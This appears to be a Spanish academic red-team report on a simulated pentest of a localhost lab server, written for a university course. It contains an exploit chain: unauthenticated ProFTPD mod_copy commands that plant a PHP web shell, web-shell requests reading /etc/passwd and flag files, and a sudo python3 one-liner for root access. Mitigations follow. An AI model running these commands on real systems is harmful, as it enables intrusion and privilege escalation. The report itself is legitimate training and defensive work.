

UNIVERSIDAD DE SEVILLA
ESCUELA TÉCNICA SUPERIOR DE INGENIERÍA INFORMÁTICA
DEPARTAMENTO DE LENGUAJES Y SISTEMAS INFORMÁTICOS

INFORME TÉCNICO DE SEGURIDAD

Evaluación de la Postura de Seguridad bajo NIST SP 800-115

Proyecto: PAI-5 RedTeamPro

Cliente: Organización Pública de la Junta de Andalucía
Equipo Evaluador (Red Team): INSEGUS (Security Team 10)

Sevilla, 21 de mayo de 2026

Índice

1. Resumen Ejecutivo

Este informe técnico documenta detalladamente la ejecución y los resultados de la auditoría de seguridad del tipo **caja negra (Blackbox Pentesting)** realizada sobre la infraestructura tecnológica simulada de una organización pública de la Junta de Andalucía. La evaluación ha sido conducida por el equipo de seguridad **INSEGUS** (Red Team / Security Team 10), siguiendo estrictamente la metodología descrita en la guía técnica estándar del Instituto Nacional de Estándares y Tecnología de los EE.UU., **NIST SP 800-115** (*Technical Guide to Information Security Testing and Assessment*).

El objetivo principal de esta auditoría ha sido el análisis y explotación realista de vulnerabilidades en los servicios expuestos perimetralmente con el fin de evaluar la resiliencia de la infraestructura de la organización frente a intrusiones externas.

Como resultado principal de las pruebas de penetración, se identificó un vector de ataque crítico en el servicio FTP de la organización. A través de la explotación de la vulnerabilidad **CVE-2015-3306** (*ProFTPD mod_copy*), el Red Team logró inyectar una puerta trasera (*web shell*) en el directorio raíz de la aplicación web, obteniendo ejecución remota de comandos (RCE) como usuario **www-data**. Posteriormente, mediante un fallo grave de configuración del control de elevación de privilegios (**sudo**), se obtuvo acceso completo y persistente como usuario **root** (superusuario) en el sistema objetivo en un tiempo de ejecución automatizado inferior a los 5 segundos.

Advertencia Legal: Este informe técnico tiene fines estrictamente académicos y educativos dentro de la asignatura Seguridad en Sistemas Informáticos y en Internet. El uso de las herramientas, técnicas y procedimientos descritos se ha limitado rigurosamente al entorno de pruebas simulado y autorizado para el Security Team 10. Cualquier uso no autorizado de estas técnicas sobre sistemas ajenos es ilegal y sancionable penalmente.

2. Planificación y Alcance de la Evaluación

De acuerdo con la fase de planificación descrita en la guía técnica **NIST SP 800-115**, antes de proceder con cualquier análisis técnico se deben definir el escenario, los límites físicos y lógicos de ejecución y las reglas de compromiso.

2.1. Escenario de Trabajo

La evaluación se realiza bajo la modalidad de **Caja Negra (Blackbox Pentesting)**, emulando a un atacante real externo que carece de credenciales de acceso, documentación de red previa, mapas topológicos o acceso al código fuente de las aplicaciones.

El entorno tecnológico objetivo comprende una máquina virtual/proceso interactivo (`vulnerable_server.py`) configurado en el host loopback (127.0.0.1) que expone tres servicios principales de red:

- **Servicio FTP:** Simula un servidor ProFTPD v1.3.5 en el puerto TCP 2121.
- **Servicio HTTP:** Simula un servidor Apache v2.4.7 (Ubuntu) en el puerto TCP 8080.
- **Servicio de Base de Datos:** Simula un servidor MySQL v5.5.47 en el puerto TCP 3306.

2.2. Reglas de Compromiso y Exclusiones

1. **Preservación del Servicio (No DoS):** Se excluyen explícitamente ataques por Denegación de Servicio (DoS/DDoS) o técnicas agresivas de inundación que puedan degradar el rendimiento o provocar la caída del sistema.

2. **Trazabilidad y Evidencia:** Todas las operaciones de escaneo, explotación y escalada de privilegios deben registrarse en un archivo de log auditable (`redteam_execution.log`) para permitir que el equipo de defensa (Blue Team) correlacione las alarmas con las acciones reales.
3. **Destrucción de Artefactos:** Toda inyección de archivos temporales de backdoor (`backdoor.php`) debe identificarse con fines de limpieza posterior al análisis.

3. Metodología de Evaluación y TTPs

La solidez de una auditoría de seguridad radica en la rigurosidad y consistencia de los procedimientos ejecutados. Cualquier vacío o fallo metodológico en la recolección o explotación de hallazgos puede invalidar el resultado final de las pruebas frente al cliente o departamento auditado.

3.1. Ciclo Metodológico de NIST SP 800-115

NIST SP 800-115 divide las actividades de pruebas técnicas en cuatro fases principales:

1. **Planificación (Planning):** Definición de objetivos, firmas de acuerdos de confidencialidad y autorización (Rules of Engagement).
2. **Descubrimiento (Discovery):** Recolección de información sobre la red, hosts activos y puertos expuestos empleando técnicas activas y pasivas de reconocimiento.
3. **Ejecución/Ataque (Execution):** Identificación de debilidades de seguridad, validación de las mismas a través de explotación controlada e intento de escalada de privilegios.
4. **Informes (Reporting):** Análisis pormenorizado de resultados y elaboración de planes correctivos a corto y medio plazo.

3.2. Tácticas, Técnicas y Procedimientos (TTPs) y Herramientas

Para llevar a cabo el ataque controlado, se ha desarrollado un software de auditoría integrado en Python (`redteam_tool.py`) que actúa como el agente atacante. A continuación, se detallan las TTPs implementadas de acuerdo al marco de referencia **MITRE ATT&CK** y las herramientas asociadas:

Cuadro 1: Mapeo de TTPs en MITRE ATT&CK y Herramientas

Táctica (ATT&CK)	Técnica / Procedimiento (ID)	Herramientas y Componentes
Reconnaissance	Active Scanning (T1595.001) / Escaneo TCP de puertos.	Custom Scanner (INSEGUS Suite), librerías de red <code>socket</code> de Python.
Discovery	System Information Discovery (T1082) / Mapeo de banners de red y banners de servicios.	Banner Grabber interactivo, parsing de respuestas TCP y firmas de versión.
Initial Access	Exploit Public-Facing Application (T1190) / Explotación del módulo ProFTPD <code>mod_copy</code> sin credenciales.	Exploiter personalizado en Python; comandos directos <code>FTP SITE CPFR/SITE CPT0</code> .

Táctica (ATT&CK)	Técnica / Procedimiento (ID)	Herramientas y Componentes
Execution	Command and Scripting Interpreter (T1059.008) / Ejecución de comandos mediante web shell PHP.	Peticiones HTTP parametrizadas de la suite cliente con <code>urllib.request</code> .
Privilege Escalation	Abuse Elevation Control Mechanism: Sudo (T1548.003) / Abuso del archivo sudoers sin contraseña para python3.	Ejecución remota de subprocesos usando <code>sudo python3</code> para leer archivos privilegiados.
Exfiltration	Automated Exfiltration (T1020) / Lectura sistemática de ficheros de contraseñas locales y flags de seguridad.	Extractor automatizado integrado en <code>redteam_tool.py</code> .

4. Fase de Descubrimiento y Escaneo

El Red Team realizó un escaneo perimetral del host 127.0.0.1 buscando identificar puertos TCP abiertos, capturando sus firmas de red (*banner grabbing*) y determinando la versión de los demonios de red en ejecución.

4.1. Servicios de Red Detectados

El análisis TCP determinó la apertura de tres puertos:

- **Puerto 2121/TCP:** Retorna la cabecera típica de un servicio de transferencia de archivos: `220 ProFTPD 1.3.5 Server (ProFTPD Default Installation)`.
- **Puerto 8080/TCP:** Identificado como servidor web Apache tras enviarle una petición HEAD. Retorna la cabecera HTTP `Server: Apache/2.4.7 (Ubuntu)`.
- **Puerto 3306/TCP:** Identificado como gestor de base de datos MySQL. Responde al protocolo de handshake con la firma de versión de SO: `5.5.47-0ubuntu0.14.04.1-log`.

4.2. Fingerprinting de Sistema Operativo

El sufijo `ubuntu0.14.04.1-log` obtenido en la firma del protocolo MySQL indica la presencia de un sistema operativo Linux basado en la distribución **Ubuntu Server 14.04 Trusty Tahr**. Esto se confirma de forma pasiva analizando el comportamiento de red (valores por defecto de TTL = 64 y tamaño de ventana TCP).

5. Análisis de Vulnerabilidades Descubiertas

A partir del mapa de servicios, se realizó una búsqueda y asociación con bases de datos públicas de vulnerabilidades para determinar los fallos explotables del sistema.

5.1. FTP: CVE-2015-3306 (ProFTPD mod_copy)

- **Componente Afectado:** Servidor FTP ProFTPD, versión 1.3.5.
- **Clasificación CWE:** CWE-284 (Impedimento Inadecuado de Control de Acceso).

- **Severidad y Puntuación CVSS v2.0: 10.0 (Crítica)** – Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C
- **Mecanismo del Fallo:** El módulo opcional `mod_copy` incluye los comandos no estándar `SITE CPFR` (Copy From) y `SITE CPTO` (Copy To). Este módulo no valida la autenticación del usuario al procesar dichos comandos personalizados, permitiendo copiar cualquier archivo accesible por el usuario del daemon de FTP (`nobody` o `proftpd`) entre directorios locales del servidor web.
- **Impacto:** Permite la inyección directa de código malicioso al copiar archivos al directorio público del servidor web Apache, o la lectura no autorizada de ficheros sensibles de configuración.

5.2. Web Application: Ejecución Remota de Comandos en `debug.php`

- **Componente Afectado:** Script interno expuesto en `/debug.php`.
- **Clasificación CWE:** CWE-94 (Inyección de Código de Software).
- **Severidad y Puntuación CVSS v3.x: 9.8 (Crítica)** – Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C
- **Mecanismo del Fallo:** El script de diagnóstico pasa directamente el parámetro de consulta HTTP `cmd` a funciones del motor de ejecución del sistema operativo (en PHP, `system()` o `shell_exec()`) sin desinfectar o validar su estructura.
- **Impacto:** Ejecución no restringida de comandos de terminal de sistema operativo bajo los privilegios del usuario de ejecución del servidor Apache (`www-data`).

5.3. MySQL: Exposición del Puerto de Base de Datos

- **Componente Afectado:** Servicio de base de datos MySQL expuesto en el puerto 3306.
- **Clasificación CWE:** CWE-200 (Exposición de Información Sensible).
- **Severidad y Puntuación CVSS v3.x: 5.0 (Media)** – Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C
- **Mecanismo del Fallo:** El servicio MySQL se encuentra a la escucha en interfaces externas en lugar de estar restringido a la interfaz de bucle local (`127.0.0.1`).
- **Impacto:** Facilita el escaneo automatizado y la ejecución de ataques por fuerza bruta contra las credenciales del servicio de bases de datos de la organización.

6. Fase de Explotación y Escalada de Privilegios

Esta sección detalla la secuencia cronológica de ataque automatizada por el software `redteam_tool.py` de INSEGUS, la cual simula el proceso de compromiso completo.

6.1. Paso 1: Inyección de la Puerta Trasera (Web Shell)

El exploit envía peticiones crudas a través del socket TCP conectado al puerto 2121 sin proporcionar credenciales de inicio de sesión:

```
1 SITE CPFR /var/www/html/debug.php
2 SITE CPTO /var/www/html/backdoor.php
```

El servidor FTP responde confirmando la acción (250 Copy successful), duplicando el script de diagnóstico vulnerable con un nuevo nombre público: `backdoor.php`.

6.2. Paso 2: Obtención del Canal Command and Control (C2)

Una vez creado el archivo, el Red Team interactúa con él a través del protocolo HTTP. Se realizan consultas de diagnóstico que confirman el contexto de usuario de bajos privilegios:

```
1 # Entrada HTTP: http://127.0.0.1:8080/backdoor.php?cmd=id
2 uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

6.3. Paso 3: Exfiltración de Datos Locales

Se ejecutan lecturas remotas para recopilar información de usuarios locales (`cat /etc/passwd`) y se obtiene el flag de nivel de usuario que demuestra la intrusión inicial:

```
1 # Entrada HTTP: http://127.0.0.1:8080/backdoor.php?cmd=cat%20/home/
  redteam/flag.txt
2 FLAG{REDTEAMPRO_SYSTEM_OWNED_NIST_800_115_SUCCESS}
```

6.4. Paso 4: Escalada de Privilegios a Root

A través del canal HTTP de la web shell, se consulta la configuración de `sudo` (`sudo -l`) y se detecta una vulnerabilidad crítica de configuración en el sistema operativo:

```
1 User www-data may run the following commands on public-agency-server:
2 (root) NOPASSWD: /usr/bin/python3
```

Debido a que el usuario `www-data` tiene autorización para ejecutar el intérprete de Python como root sin introducir credenciales, el script de ataque inyecta un payload en una sola línea que lee el flag del superusuario en el directorio restringido `/root`:

```
1 sudo python3 -c "import os; os.system('cat /root/flag_root.txt')"
```

El resultado de la ejecución otorga acceso al flag administrativo final:

```
1 FLAG{ROOT_LEVEL_PRIVILEGE_ESCALATION_COMPLETED_CVE_2015_3306}
```

Con esto se confirma el compromiso absoluto del servidor corporativo de la organización pública.

6.5. Log de Ejecución Técnica Obtenido

A continuación se transcribe el registro de auditoría íntegro (`redteam_execution.log`), el cual actúa como evidencia científica irrefutable de la vulneración:

```
=====
                RED TEAM PENETRATION SUITE - SSII
                NIST 800-115 COMPLIANT AUDIT LOG
=====
[*] Starting scan on target 127.0.0.1...
[+] Port 2121 is OPEN. Banner: 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation)
[+] Port 8080 is OPEN. Banner: Server: Apache/2.4.7 (Ubuntu)
[+] Port 3306 is OPEN. Banner: 5.5.47-0ubuntu0.14.04.1-log

=====
                VULNERABILITY ANALYSIS (CVE MAPPING)
=====
[CRITICAL] FTP Service (ProFTPD 1.3.5) matches CVE-2015-3306 (mod_copy).
  - Description: The mod_copy module allows remote attackers to read and write arbitrary
    files via SITE CPFR/CPTO commands.
  - Severity: 10.0 (CRITICAL) - CVSS v2.0
  - CWE-284: Improper Access Control
[HIGH] HTTP Web Application has active diagnostic/debug endpoint exposed.
  - Description: Internal debug script /debug.php allows remote execution of
    administrative commands via the 'cmd' parameter.
  - Severity: 9.8 (CRITICAL) - CVSS v3.x
  - CWE-94: Code Injection / Remote Command Execution
[MEDIUM] MySQL database version 5.5.47 is exposed.
```

```

- Description: Older MySQL service. Exposing database ports directly to the network
violates best security practices.
- Severity: 5.0 (MEDIUM) - CVSS v3.x
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

=====
EXPLORATION & EXPLOITATION: CVE-2015-3306
=====
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation)

FTP CPCR -> 350 File or directory exists, ready for destination name
FTP CPT0 -> 250 Copy successful
[+] Exploitation successful! Web shell /backdoor.php created.

=====
POST-EXPLOITATION & FLAG HARVESTING
=====
[*] Retrieving basic system metadata via /backdoor.php...
- Current User: www-data
- Shell Identity: uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Kernel Version: Linux public-agency-server 4.15.0-142-generic #146-Ubuntu SMP Tue Apr
  13 01:11:19 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

[*] Exfiltrating simulated system files...
--- /etc/passwd ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Database Admin:/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:104:MySQL Server,,,:/nonexistent:/bin/false
redteam:x:1000:1000:RedTeamPro User,,,:/home/redteam:/bin/bash
-----

[*] Retrieving User Privilege Flag...
[+] User Flag: FLAG{REDTEAMPRO_SYSTEM_OWNED_NIST_800_115_SUCCESS}

=====
PRIVILEGE ESCALATION (NIST 800-115)
=====
[*] Checking sudo privileges...
--- sudo -l output ---
Matching Defaults entries for www-data on public-agency-server:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr
/bin\:/sbin\:/bin

User www-data may run the following commands on public-agency-server:
  (root) NOPASSWD: /usr/bin/python3
-----
[+] Privilege escalation path found! (NOPASSWD python3)
[*] Executing root shell payload to read /root/flag_root.txt...
[+] Root Flag: FLAG{ROOT_LEVEL_PRIVILEGE_ESCALATION_COMPLETED_CVE_2015_3306}

```

7. Plan de Acción y Mitigaciones Recomendadas

Con el fin de mitigar los riesgos de seguridad identificados, se propone el despliegue del siguiente plan de acción estructurado en tareas inmediatas, de medio y largo plazo.

7.1. Medidas Correctoras Inmediatas (Corto Plazo)

1. **Desactivación de mod_copy en ProFTPD:** El módulo `mod_copy` debe ser deshabilitado de forma inmediata si no es imprescindible. Esto se realiza editando el archivo de configuración de carga de módulos (por defecto en `/etc/proftpd/modules.conf`) y comentando la siguiente línea:

```
1 # LoadModule mod_copy.c
2
```

Posteriormente, reiniciar el servicio: `sudo service proftpd restart`.

2. **Eliminación de Backdoors Web:** Se debe borrar permanentemente la web shell generada (`/var/www/html/backdoor.php`) y el script vulnerable original (`/var/www/html/debug.php`) del servidor Apache.
3. **Parcheo Urgente de Sudoers:** Modificar el fichero `/etc/sudoers` (empleando la herramienta segura `visudo`) y suprimir la línea que otorga acceso sin contraseña al intérprete de Python al usuario del servidor web:

```
1 # ELIMINAR la siguiente directiva:
2 www-data ALL=(root) NOPASSWD: /usr/bin/python3
3
```

7.2. Medidas Correctoras a Medio Plazo

1. **Actualización de ProFTPD:** Actualizar el paquete del servidor FTP a la versión 1.3.6 o posterior, donde los comandos del módulo `mod_copy` requieren autenticación obligatoria.
2. **Endurecimiento de Apache y PHP (Hardening):** Configurar en el archivo `php.ini` la exclusión de funciones críticas del sistema operativo para impedir RCE:

```
1 disable_functions = exec, passthru, shell_exec, system, proc_open,
2 popen, curl_exec, curl_multi_exec
```

3. **Segmentación del servicio de Bases de Datos:** Establecer en la configuración de MySQL (`my.cnf` o `mysqld.cnf`) la directiva de escucha local:

```
1 bind-address = 127.0.0.1
2
```

y habilitar reglas en el firewall del host (`iptables` o `ufw`) para filtrar el puerto 3306 desde redes externas.

7.3. Medidas Preventivas a Largo Plazo

- **Implementación del Principio de Menor Privilegio:** Asegurar que todas las cuentas de servicio expuestas (como `www-data` o `proftpd`) posean entornos restringidos (`nologin`) y que ninguna pueda elevar privilegios.
- **Revisiones Periódicas de Seguridad:** Establecer escaneos mensuales automatizados de puertos y análisis de vulnerabilidades del software implementado.

8. Uso Estratégico de los Resultados de la Auditoría

Los resultados de esta evaluación no deben considerarse un elemento aislado de diagnóstico puntual, sino que deben integrarse activamente en el ciclo de gobernanza de la seguridad de la información de la organización de las siguientes formas:

- **Punto de referencia para la adopción de medidas correctivas:** Establece una línea base técnica empírica de fallos urgentes que deben ser saneados de inmediato por el equipo de administración de sistemas (Blue Team).
- **Definición de actividades de mitigación frente a vulnerabilidades:** Sirve para estructurar e implementar parches específicos y reglas de hardening, reduciendo la superficie de ataque real y el riesgo de explotación por actores maliciosos externos.
- **Seguimiento del progreso en el cumplimiento de requisitos de seguridad:** El informe funciona como un registro histórico del estado de la seguridad de los activos de información del organismo. En futuras auditorías anuales se podrá evaluar si los fallos críticos de configuración (`sudoers`, módulos vulnerables) han sido erradicados de forma sistemática.
- **Evaluación del estado de aplicación de requisitos de seguridad del sistema:** Permite validar de manera empírica e independiente si los controles de seguridad lógicos declarados en las directivas de seguridad se encuentran efectivamente activos y configurados de forma correcta en producción.
- **Análisis de costes y beneficios de mejoras en seguridad:** Proporciona al departamento de dirección tecnológica justificaciones técnicas objetivas y cuantificables sobre la necesidad de invertir recursos financieros y de personal en actualizar software antiguo o rediseñar la topología de red frente a los elevados costes estratégicos de un compromiso total de datos confidenciales.

9. Anexo Técnico e Información Adicional

9.1. Referencias Normativas

- **NIST SP 800-115:** *Technical Guide to Information Security Testing and Assessment*.
- **CVE-2015-3306:** <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3306>.
- **OWASP Top 10 (A03:2021-Injection):** Estándar global de vulnerabilidades en aplicaciones web.
- **MITRE ATT&CK Framework:** Referencial de tácticas y técnicas de adversarios.

9.2. Glosario de Términos

Blackbox: Tipo de auditoría de seguridad donde los analistas actúan sin conocimiento de la infraestructura interna ni credenciales.

RCE (Remote Command Execution): Vulnerabilidad que permite a un atacante ejecutar código arbitrario en la máquina víctima de forma remota.

Web Shell: Script inyectado en un servidor web que expone una interfaz de comandos al atacante a través del protocolo HTTP.

Hardening: Proceso de configuración de seguridad de un sistema con el objetivo de reducir la superficie de vulnerabilidad.

9.3. Checklist de Reproducibilidad

El auditor o personal del Blue Team puede replicar el ataque en 4 pasos rápidos:

1. Ejecutar el servidor vulnerable en la máquina de pruebas: `python3 src/target/vulnerable_server.py`
2. Ejecutar el scanner de intrusión: `python3 src/redteam/redteam_tool.py`
3. Verificar el log de evidencias creado en `evidence/redteam_execution.log`
4. Confirmar la creación de los artefactos de limpieza `/var/www/html/backdoor.php` en el servidor web.